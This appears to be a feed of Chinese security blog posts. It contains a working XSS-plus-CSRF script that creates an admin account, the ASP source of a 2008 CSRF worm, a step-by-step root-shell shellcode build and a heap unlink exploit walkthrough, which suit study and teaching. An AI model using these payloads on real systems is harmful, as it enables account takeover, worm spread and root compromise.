  • Cookie的生成依赖于JavaScript,相当于这个token是明文的?这是肯定的,不管采用多少种加密,只要在客户端,就会被破解,不过不管怎样,CSRF无法在有用户状态的情况下添加这个临时Cookie字段(同源策略)。虽然通过服务端可以,但是无法将当前用户的状态也带过去(即攻击者尝试在自己的中转服务器上添加临时Cookie,但是这种做法背离CSRF攻击的目的了,因为受害者的Cookie(认证信息)不会发到攻击者的中转服务器上啊…顺便说一句,Referer也是同样的道理)。
  • 如果由于某种网络问题无法获取Cookie呢?那么保存用户状态的Cookie当然也无法获取了,用户只能再重新提交表单才可以,这就与CSRF无关了。

 

由于这种防御策略还没有被大规模使用,所以无法确定其是否真实有效。不过如果有效的话,这大概是一种最简单的、对代码改动最小,且对服务器压力也最小的防御CSRF的方法。

 

在攻击方法中我们详细讲解了JSON HiJacking,那么针对这种特定的CSRF攻击方法,我们有没有什么特定的防御方法呢?

 

当然有了,这里介绍两种:

 

1)在返回的脚本开始部分加入“while(1);”:

 

当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时,其攻击代码会陷入死循环中,无法将敏感信息发送到自己的服务器上,这样就防止了信息泄露;而正常的客户端代码可以正确地处理返回的JSON数据,它可以先将“while(1);”去掉再正常处理。

 

这样做相比较与其他方式CSRF的方法有一个突出的好处,即不依赖浏览器的边界安全策略,而是在代码级别引入保护机制。

 

Google的部分服务就采取了这种防御方法,具体内容可以参考下面的链接:

 

http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses

 

  • 使用POST表单提交的方式获取JSON数据:

 

当前端可以使用XMLHttpRequest获取JSON数据时,当然也可以使用POST表单的方式完成这项任务,这样的话攻击者就无法使用script标签来获取JSON数据(因为src属性发出的是GET请求)。

 

纵观这些CSRF的防御方法,无一不是针对CSRF攻击成立的条件进行破坏,这也是“未知攻,焉知防”道理的体现。我们在对自己的网站进行防御的时候,要根据自己的业务场景,选择一个最合适的防御方案。

 

0x08 结合XSS的CSRF攻击

前面我们说到了基于CSRF的攻击,讲的是在一整套攻击中使用CSRF来达到最终目的或某个中间目的。而这里我们要说的是:如何利用CSRF的“黄金搭档”——XSS来辅助我们完成一次CSRF攻击。

 

为什么说XSS是CSRF的“黄金搭档”呢?因为当XSS存在时,我们往往可以利用它来突破目标站点对CSRF攻击的防护;还有一些情况,比如我们可以找到一些“SELF-XSS”,即只能跨自己,那么如果可以CSRF的话,就不仅仅能跨自己了。我们标题里说的“结合”就是指这两种方式。

 

下面我们举例说明:

 

  • 利用XSS窃取token之后发起CSRF攻击

 

以前面0x06中的第一个例子为例,我们的目标是进入后台。

 

假如添加管理员的POST请求如下(加入了token):

 

POST /phpok/admin.php?c=admin&f=save HTTP/1.1

Host: www.goal.com

Cookie: …

(空一行)

id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…

 

那么我们就不能直接构造出攻击页面了,因为token的值我们无法预测,一般情况下我们也无法得到token的值,但我们假设,在给管理员留言的地方存在XSS漏洞,但是管理员的Cookie加了HttpOnly属性,我们无法通过XSS直接获取管理员的Cookie,那该怎么办呢?我们可以把这两个漏洞结合起来利用。

 

我们可以利用XSS在管理员的浏览器中执行下面的JavaScript代码:

 

<script>

var frameObj = document.createElement(“iframe”);

frameObj.setAttribute(“id”, “add”);

document.body.appendChild(frameObj);

document.getElementById(“add”).src=” admin.php?c=admin&f=save”;

var token = document.getElementById(“add”).contentWindow.document.getElementById(“token”).value; //从iframe中的页面中获取token值

 

var xmlhttp;

if (window.XMLHttpRequest)

{// code for IE7+, Firefox, Chrome, Opera, Safari

xmlhttp=new XMLHttpRequest();

}

else

{// code for IE6, IE5

xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);

}

xmlhttp.open(“POST”,”admin.php?c=admin&f=save”,true);

xmlhttp.send(“id=&accont=wooyun&pass=123456&status=1&if_system=1&token=” + token); //带上token提交添加管理员的请求

</script>

 

代码很好理解,首先我们通过iframe的方式嵌入含有token的页面,因为同域,所以我们可以对页面中的DOM进行读写操作,所以顺利取得token;然后我们利用AJAX的方式带上token提交添加管理员的请求,我们依靠XSS成功突破了页面对CSRF攻击的防护。

 

  • 结合CSRF发起XSS攻击

http://www.wooyun.org/bugs/wooyun-2010-033537

由此可以看到,如果能够将XSS攻击和CSRF攻击结合起来,会产生1+1>2的效果。

0x09 CSRF蠕虫

说说蠕虫。

 

蠕虫有两大特征:

 

  • 传播性;
  • 恶意行为。

 

蠕虫的恶意行为是由其传播性引起的,也就是说,凡是传播可以做的事,蠕虫基本上都可以做,而且还可以做些和特定蠕虫有关的事,比如我们要说的CSRF蠕虫就可以大批量地获取用户的隐私信息(CSRF的危害之一嘛)。

 

所以,我们主要研究CSRF蠕虫的传播性。

 

CSRF蠕虫的传播性如何实现呢?在前面我们提到过,CSRF蠕虫就是在CSRF的攻击页面中加入了蠕虫传播的攻击向量。这听上去感觉很容易,但实施起来恐怕还要多考虑一些东西。

 

仔细想想,在一个SNS网站上传播CSRF蠕虫有一个不得不考虑的问题:蠕虫面对的是不同的用户,而不仅仅是某一个受害者。那对于不同的用户,其对应的请求(CSRF核心:伪造的请求嘛)会不会有些地方不一样呢?

 

没错,在之前的CSRF攻击中,我们的攻击目标是某一个特定的个体。当我们可以预测其请求的所有参数之后,我们就可以发起攻击。但是在SNS网站上传播CSRF蠕虫就不是这么简单。即使每个用户的所有请求参数都可以预测,但是对于不同的用户,其对应的请求参数是不一样的,我们无法像前面的攻击那样构造攻击页面,必须想办法获取这些标识不同用户的数据。

 

方法一:利用服务端脚本获取

 

在这里,我们构造的攻击页面不是一个简单的.html文件了,而是一个服务端脚本,如php、asp等等。

 

受害者的标识信息,如用户id等,经常出现在url中,这样我们就可以利用服务端脚本来获取请求的Referer中的用户id,以此为基础构造出html+js的攻击页面,在攻击向量中添加我们服务端脚本的链接,以此造成蠕虫传播的效果。

 

方法二:利用JSON HiJacking技术获取

 

JSON HiJacking的攻击方法前面已经讲得很详细了,如果网站上提供了这样的获取数据的接口,那么利用这种技术获取用户的隐私信息是一个不错的方法。

 

综上所述,如果一个SNS网站上存在CSRF漏洞,并且我们有办法获取到用户的标识信息,那么就满足了CSRF蠕虫传播的条件,这个网站就是可蠕虫的。

 

下面看一个CSRF蠕虫实例:

 

这是2008年发起的一次针对译言网(www.yeeyan.org)的CSRF蠕虫攻击,攻击者的链接为http://www.evilsite.com/yeeyan.asp ,服务端脚本yeeyan.asp内容如下:

 

<%

‘auther: Xlaile

‘data: 2008-09-21

‘this is the CSRF Worm of www.yeeyan.com

r = Request.ServerVariables(“HTTP_REFERER”)

‘获取用户的来源地址,如:http://www.yeeyan.com/space/show/hving

 

if instr(r, “http://www.yeeyan.com/space/show”) > 0 Then

‘referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址

 

Function regx(patrn, str)

Dim regEx, Match, Matches

Set regEx = New RegExp

regEx.Pattern = patrn

regEx.IgnoreCace = True

regEx.Global = True

Set Matches = regEx.Execute(str)

For Each Match in Matches

RetStr = RetStr & Match.Value & ” | ”

Next

regx = RetStr

End Function

 

Function bytes2BSTR(vIn)

dim strReturn

dim i1,ThisCharCode,NextCharCode

strReturn = “”

For i1 = 1 To LenB(vIn)

ThisCharCode = AscB(MidB(vIn,i1,1))

If ThisCharCode <&H80 Then

strReturn = strReturn & Chr(ThisCharCode)

Else

NextCharCode = AscB(MidB(vIn,i1+1,1))

strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

i1 = i1 + 1

End If

Next

bytes2BSTR = strReturn

End

 

id = Mid(r,34) ‘获取用户标识ID,如:hving

furl = “http://www.yeeyan.com/space/friends/” + id ‘用户好友列表链接是这样的

Set http=Server.CreateObject(“Microsoft.XMLHTTP”) ‘使用这个控件

http.Open “GET”,furl,False ‘同步,GET请求furl链接

http.Send ‘发送请求

ftext = http.ResponseText ‘返回请求结果,为furl链接对应的HTML内容

fstr = regx(“show/(\d+)?””>[^1-9a-zA-Z]+<img”,ftext)

‘正则获取被攻击用户的所有好友的ID值,CSRF留言时需要这个值

farray = Split(fstr , ” | “)

‘下面几句就是对获取到的ID值进行简单处理,然后扔进f(999)数组中

Dim f(999)

For i = 0 To ubound(farry) – 1

f(i) = Mid(farray(i),6,Len(farray(i))-16)

Next

Set http=Nothing

 

s = “”

For i = 0 To ubound(farray) – 1

s = s + “<iframe width=0 height=0 src=’yeeyan_iframe.asp?id=” & f(i) & “‘></iframe>” ‘接着循环遍历好友列表,使用iframe发起CSRF攻击

Next

Response.write(s)

 

‘   Set http=Server.CreateObject(“Microsoft.XMLHTTP”)

‘   http.open “POST”,”http://www.yeeyan.com/groups/newTopic/”,False

‘   c = “hello”

cc = “data[Post][content]=” & c & “&” & “ymsgee=” & f(0) & “&” & “ymsgee_username=” & f(0)

‘   http.send cc

 

End If

%>

 

其中yeeyan_iframe.asp代码如下:

 

<%

‘author: Xlaile

‘date: 2008-09-21

‘this is the CSRF Worm of www.yeeyan.com

‘id = Request(“id”)

s = “<form method=’post’ action=’http://www.yeeyan.com/groups/newTopic/’ onsubmit=’return false’>”

s = s+”<input type=’hidden’ value=’The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp’ name=’data[Post][content]’/>

s = s+”<input type=’hidden’ value=” + id + ” name=’ymsgee’/>”

s = s+”<input type=’hidden’ value=” + id + ” name=’ymsgee_username’/>

s = s+”</form>”

s = s+”<script>document.forms[0].submit();</script>”

Response.write(s)

%>

 

这段代码只具备传播性,属于没有恶意的实验代码。从yeeyan.asp的代码中我们可以看到,攻击者就是依靠Referer字段得到了译言用户的id值。而yeeyan_iframe.asp是构造表单的代码,用来具体发起CSRF攻击。当用户登录译言网,并且点击攻击者的链接后,这个CSRF蠕虫就会开始传播。

 

0x0a 还有什么东西?

写到这里,我所了解的有关CSRF攻击与防御的内容就差不多写完了。在写前面内容的时候,我一直在有意回避一个东西,那就是在现在的Web前端仍然占有重要地位的Flash,以及ActionScript脚本。

 

这里就简单补充一下,这些东西和CSRF攻击有什么联系。

 

首先,我们必须先介绍一个文件——crossdomain.xml,此文件通常在网站的根目录下存在,比如http://www.qq.com 网站上的crossdomain.xml文件内容如下:

csrf10

https://www.baidu.com 网站上的crossdomain.xml文件内容如下:

csrf11

该配置文件中的“allow-access-from domain”用来配置哪些域的Flash请求可以访问本域的资源。如果该项值为“*”,则表示任何域的Flash都可以访问,这是非常危险的。当存在这样的配置时,攻击者可以利用ActionScript脚本轻松突破同源策略的限制,如下:

 

import flash.net.*

//请求隐私数据所在页面

var loader = new URLLoader(new URLRequest(http://www.foo.com/private));

loader.addEventListener(Event.COMPLETE,function(){ //当请求完成后

loader.data; //获取到隐私数据

//更多操作

});

Loader.load(); //发起请求

 

当通过身份认证的受害者被诱惑访问含有以上脚本的页面时,其隐私将可能被攻击者盗走。

 

除此之外,这种跨域获取信息的方法还可以应用在CSRF蠕虫之中,同样是在2008年,饭否(www.fanfou.com)就被基于Flash的CSRF蠕虫攻击,当时包含饭否CSRF蠕虫的Flash游戏界面如下:

csrf12

结束:

由于水平有限,本文写到这里就差不多结束了,里面是我对CSRF几乎所有的认知,包括基本概念、攻击原理、攻击目的、攻击手段以及防御方法等等。需要特别说明的是,文中有许多内容来自《Web前端黑客技术揭密》这本书。

Linux环境下编写shellcode

Jon Erickson那本书上的内容,整理一下。

攻击存在漏洞的程序,使之执行我们的shellcode来使我们获得一个shell,若被攻击的进程权限是root,那么我们将获得一个rootshell。

shellcode的执行包括两个过程:

1、利用setreuid系统调用来恢复进程的root权限。有些suid程序在运行的过程中,出于安全的考虑,它们会尽可能删除root特权。为了拿到rootshell,我们在shellcode中应该恢复进程的root特权;

2、利用execve系统调用来获得一个shell。

下面用x86汇编的intel句法来说明如何编写shellcode。

shell.asm代码如下:

section .data
 
filepath db "/bin/shXAAAABBBB"
 
section .text
 
global _start ;定义程序入口
 
_start:
 
;setreuid(uid_t ruid, uid_t euid)
 
mov eax, 70 ;setreuid的系统调用号是70
 
mov ebx, 0
 
mov ecx, 0
 
int 0x80
 
;execve(const char *filename, char *const argv[], char *const envp[])
 
mov eax, 0
 
mov ebx, filepath
 
mov [ebx+7], al ;把filepath中的X字符覆盖为空字符
 
mov [ebx+8], ebx ;把filepath中的AAAA覆盖为filepath字符串的地址
 
mov [ebx+12], eax ;把filepath中的BBBB覆盖为0
 
mov eax, 11 ;execve的系统调用号
 
lea ecx, [ebx+8]
 
lea edx, [ebx+12]
 
int 0x80

在gentoo上测试:

 

shellcode1

成功得到了rootshell。

但是这段代码还远不是真正的shellcode。最大的问题是字符串存放在数据段中。由于shellcode不是一个独立运行的程序,而是要插入到正在运行的程序中,所以不能用单独的数据段在存储字符串。我们必须用余下的汇编指令存储来自数据段的字符串,并想办法找到这个字符串的地址。

下面介绍一种hack技巧,看这一段代码:

jmp two
 
one:
 
pop ebx
 
;program code here
 
two:
 
call one
 
db 'this is a string'

首先,程序向下跳转到two,然后调用one,同时把返回地址压到栈上,而我们看到call指令的下一条指令就是字符串,所以返回地址就是字符串的地址。接下来,one处的pop ebx指令将该地址存入ebx寄存器,然后就可以在接下来的代码中使用这个地址了!

应用该技巧剥离出来的shellcode.asm如下:

BITS 32
 
;setreuid(uid_t ruid, uid_t euid)
 
mov eax, 70
 
mov ebx, 0
 
mov ecx, 0
 
int 0x80
 
jmp short two
 
one:
 
pop ebx
 
;execve(const char *filename, char *const argv[], char *const envp[])
 
mov eax, 0
 
mov [ebx+7], al
 
mov [ebx+8], ebx
 
mov [ebx+12], eax
 
mov eax, 11
 
lea ecx, [ebx+8]
 
lea edx, [ebx+12]
 
int 0x80
 
two:
 
call one
 
db '/bin/shXAAAABBBB'

汇编上面的代码,之后用16进制编辑器看一下,如下图:

 

shellcode2

发现其中有好多空字节,我们知道,向strcpy这类函数都把空字节当做字符串的结尾,那么这样的shellcode显然是不能应用到攻击之中的,所以我们必须想办法删掉这些空字节。

我们可以使用XOR指令来把某个寄存器清零,然后使用这些寄存器即可,如下Shellcode.asm代码所示:

BITS 32
 
;setreuid(uid_t ruid, uid_t euid)
 
mov eax, 70
 
xor ebx, ebx ;这里
 
xor ecx, ecx ;这里
 
int 0x80
 
jmp short two
 
one:
 
pop ebx
 
;execve(const char *filename, char *const argv[], char *const envp[])
 
xor eax, eax ;这里
 
mov [ebx+7], al
 
mov [ebx+8], ebx
 
mov [ebx+12], eax
 
mov eax, 11
 
lea ecx, [ebx+8]
 
lea edx, [ebx+12]
 
int 0x80
 
two:
 
call one
 
db '/bin/shXAAAABBBB'

汇编之后再用16进制编辑器看看:

 

shellcode3

可以看到空字节虽然少了很多,但还是存在。

mov eax, 70指令的机器码是B8 46 00 00 00,其中B8表示mov,46 00 00 00是70的十六进制的小端表示,后面3个空字节只起填充作用,告诉汇编程序这是一个32位的数,而70这个数只需要一个字节就够了,所以我们使用eax寄存器的低字节al寄存器就可以:

xor eax, eax
 
mov al 70 ;机器码B0 46,没有空字节了

我们先将eax寄存器清零,然后把低字节置为70,下面的mov eax, 11做同样的处理(因为在execve的一开始eax就已经被清零,所以直接mov al, 11就可以了),shellcode.asm如下:

BITS 32
 
;setreuid(uid_t ruid, uid_t euid)
 
xor eax, eax ;这里
 
mov al, 70 ;这里
 
xor ebx, ebx
 
xor ecx, ecx
 
int 0x80
 
jmp short two
 
one:
 
pop ebx
 
;execve(const char *filename, char *const argv[], char *const envp[])
 
xor eax, eax
 
mov [ebx+7], al
 
mov [ebx+8], ebx
 
mov [ebx+12], eax
 
mov al, 11 ;这里
 
lea ecx, [ebx+8]
 
lea edx, [ebx+12]
 
int 0x80
 
two:
 
call one
 
db '/bin/shXAAAABBBB'

汇编之后用16进制编辑器查看如图:

 

shellcode4

这个shellcode已经可以用了,不过在利用的时候,由于我们不知道可以利用的缓冲区有多大,所以我们的shellcode应该越小越好。我们字符串/bin/sh后面的XAAAABBBB是为了给空字节和后来要复制到那里的两个地址分配的存储空间。因为我们的shellcode是运行在被攻击程序的地址空间内,也就是说已经窃取了目标那些没有明确分配的内存,所以这些字符可以删掉,产生代码如下图所示:

shellcode5

著名的46字节的shellcode就是这么产生的。

另外我们看到mov [ebx+7], al,这条指令把空字节放到/bin/sh之后,同样是一种避免出现空字符的技巧。

 

mm_crawler

知乎上看到cos出的一道题,描述如下:

Python写个爬虫把22mm.cc上的美女图片爬下来,我们把这个爬虫项目命名为:mm_crawler。

需满足:

1、不要把非相关的图片也爬了;

2、你总该考虑多线程吧?或者协程;

3、命令行-h可以查看程序运行帮助,-n可以指定并发的线程数(默认10个),-o可以指定图片存储在哪个目录(默认当前运行目录的pics目录下),-l可以限制爬多少图片就结束(默认不限制);

4、思考个问题,如果下次我要爬其他的美女网站,你这个程序如何尽可能利于复用;

5、把你的实现思路清晰记录在该爬虫项目的目录下:readme.txt;

6、你可以用Python内置模块与第三方模块来加速你这个任务;

7、两周内搞定;

这两天简单实现了一下,地址:

http://www.sfishlost.com/download/mm_crawler.rar

 

关于Python脚本提交POST表单

昨天帮舍友写一个刷票的脚本,注册、登录、投票,三个过程。分析了一下数据包的内容以后,发现注册的时候POST提交的内容是 Multipartform-data格式的,用urllib2一直没弄好,最后用requests实现了。

urllib2应该可以实现的,回头再研究下。

另外,urllib2好像不支持长连接,requests支持。

总结一下,requests还是挺好用的。

补充:

WX20170321-115316@2x

小记unlink&frontlink

先看看unlink的代码:

FD = P->fd;

BK = P->bk;

FD->bk = BK;

BK->fd = FD;

当一块内存被合并,或者被分配,总之当它从双循环链表里解开的时候调用unlink宏,指针P指向正在操作的这块内存。

由内存块的结构可知,P->fd即P+8,P->bk即P+12。我们如果可以通过某种方式(比如缓冲区溢出)控制被解链的这块内存的内容,就可以做如下操作:

P->bk = shellcode地址

P->fd = 要覆盖的地址-12

这里的要覆盖的地址可以是栈上的返回地址,也可以是.dtors段上的析构函数的地址,或者是GOT表中的函数地址,当该块内存被解链时(比如释放时和前一块空闲内存合并),要覆盖的地址就会被覆盖为shellcode地址。

当一块内存被释放时,会调用frontlink来把这块内存加到双向循环链表里(在合并相邻块后执行),下面是frontlink代码:

BK = bin;

FD = BK->fd;

if (FD != BK) {

while (FD != BK && S < chunksize(FD)) {

FD = FD->fd;

}

BK = FD->bk;

}

P->bk = BK;

P->fd = BK;

FD->bk = BK->fd = P;

其中bin指向双向循环链表里的那个筐,然后里面的空闲内存块按从大到小的顺序排列,P指向要加进去的内存块。

举个例子分析一下:

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

int main(int argc, char *argv[])

{

if (argc != 3) {

printf(“Usage: prog_name arg1 \n”);

exit(-1);

}

char *first, *second, *third;

char *fourth, *fifth, *sixth;

first = malloc(strlen(argv[2]) + 1);

second = malloc(1500);

third = malloc(12);

fourth = malloc(666);

fifth = malloc(1508);

sixth = malloc(12);

strcpy(first, argv[2]);

free(fifth);

strcpy(fourth, argv[1]);

free(second);

return 0;

}

这个程序可以用以下方式利用:

strcpy(first, argv[2]);

在argv[2]中包含一段shellcode,并且最后四个字节是shellcode地址(first也就是first块的最后四个字节);

free(fifth);

fifth块被释放后被放入筐中。

strcpy(fourth, argv[1]);

可以利用这个缓冲区溢出来控制fifth内存块的fd和bk指针,我们可以让fifth->fd指向一个假的内存块,比如我们可以控制的fourth内存块的某位置,这里记为fake(即fifth->fd = fake),并且我们让fake块的bk指针,即fake+12 = 要覆盖的地址-8,这里要覆盖的地址我们取.dtors段的第一个函数地址。

free(second);

当second块被释放时,程序会调用frontlink代码将其放到和fifth块相同的筐中,过程大概是下面这样:

BK = bin;

FD = fifth; //这样假设应该无碍

FD = fifth->fd = fake; //循环执行了一次

BK = FD->bk = fake->bk = fake + 12; //即要覆盖的地址-8

P->bk = BK;

P->fd = FD;

BK->fd = P; //P(即second块)的前四个字节就是first块的最后四个字节,即shellcode地址

所以.dtors段的第一个函数指针就被覆盖为shellcode的地址了,程序在return之后就会执行shellcode。